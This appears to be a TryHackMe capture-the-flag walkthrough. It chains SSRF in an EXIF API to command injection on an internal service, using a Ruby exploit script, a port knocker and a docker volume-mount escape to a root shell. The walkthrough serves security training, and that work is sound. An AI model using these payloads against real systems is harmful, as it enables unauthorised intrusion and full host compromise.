What is
security.txt
? Take a look at
my article
on the subject.
On the web app we can hit
/.well-known/security.txt
:
1 2 3 4 5 6 7
Hey you found me! The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues. See https://securitytxt.org/ for more information. Ping /api/fl46 with a HEAD request for a nifty treat.
Let's do that.
1 2 3 4 5 6
$ curl -I http://10.10.70.53/api/fl46 HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Thu, 18 Mar 2021 09:21:55 GMT Connection: keep-alive flag: THM{edited}
This will send our image URL, either a HTTP link (
http://example.org/image.png
)
or data-URI (
data:image/png;base64,iVBOR...
) to an internal API
(
http://api-dev-backup:8080/exif
). But we have an externally exposed API and
trying to reach
http://10.10.190.91/api/exif
gives a 500 error because the
endpoint exists but we did not provide any argument and it must be expecting
the
url
too. So
/api/exif
exposed on port 80 must be the same API as
/exif
on the internal port 8080.
But is there a difference in filtering between the production and backup API?
For now I don't know, but with the error message I get I know it's a Java backend:
An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection
.
Also if I make a SSRF to a controlled URL with
ssrf-sheriff
(eg.
http://10.10.190.91/api/exif?url=http://10.9.19.77:8000
) I retrieve
the following entry leaking Java version (11.0.8):
We can reach the internal dev APi via the public one (SSRF):
/api/exif?url=http://api-dev-backup:8080/exif?url=xxx
and it seems that the
internal one is vulnerable to command injection:
HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Thu, 18 Mar 2021 09:15:06 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 360 Connection: close An error occurred: File format could not be determined Retrieved Content ---------------------------------------- An error occurred: File format could not be determined Retrieved Content ---------------------------------------- uid=0(root) gid=0(root) groups=0(root)
Quick PoC in Ruby to ease the epxloitation:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
require'httpclient' VULN_URL = 'http://10.10.70.53/api/exif' cmd = ARGV[0] data = { 'url' => "http://api-dev-backup:8080/exif?url=noraj;#{cmd}" } clnt = HTTPClient.new res = clnt.get(VULN_URL, data) if /Request contains banned words/.match?(res.body) puts 'We hit blacklist' else stdout = /-{40}.+-{40}\s+(.+)/m.match(res.body).captures[0] puts stdout end
$ ruby rce.rb id uid=0(root) gid=0(root) groups=0(root) $ ruby rce.rb 'ls -lhA /root' total 20K lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 1 root root 4.0K Jan 7 16:48 .git -rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt $ ruby rce.rb 'cat /root/dev-note.txt' Hey guys, Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff. Anyways, the password is fluffybunnies123 Cheers, Hydra $ ruby rce.rb 'ls -lhA /.dockerenv' -rwxr-xr-x 1 root root 0 Jan 7 22:14 /.dockerenv
It seems we are running as root in a docker container and we found a password
in
dev-note.txt
:
fluffybunnies123
. It's a valid password for the web app
or SSH.
$ ruby rce.rb 'cd /root; git --no-pager log --oneline' 5242825 fixed the dev note 4530ff7 Removed the flag and original dev note b/c Security a3d30a7 Added the flag and dev notes $ ruby rce.rb 'cd /root; git --no-pager log HEAD~2 -p' commit a3d30a7d0510dc6565ff9316e3fb84434916dee8 Author: Hydra <[email protected]> Date: Wed Jan 6 20:51:39 2021 +0000 Added the flag and dev notes diff --git a/dev-note.txt b/dev-note.txt new file mode 100644 index 0000000..89dcd01 --- /dev/null +++ b/dev-note.txt @@ -0,0 +1,9 @@ +Hey guys, + +I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin. + +Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port. + +Cheers, + +Hydra \ No newline at end of file diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..aae8129 --- /dev/null +++ b/flag.txt @@ -0,0 +1,3 @@ +You found the root flag, or did you? + +THM{edited} \ No newline at end of file
The second dev note was telling us to do some port knocking on TCP ports
42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.
We can write a quick port knocker in Ruby:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
require'socket' ports = [42, 1337, 10420, 6969, 63000] ports.each do |port| puts "[+] Port: #{port}" sleep 1 begin s = TCPSocket.new '10.10.70.53', port s.close rescueErrno::ECONNREFUSED, Errno::EHOSTUNREACH next end end
$ gtfoblookup linux shell docker docker: shell: Description: The resulting is a root shell. Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh $ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) # cat /root/flag.txt Congrats, you found the real flag! THM{edited}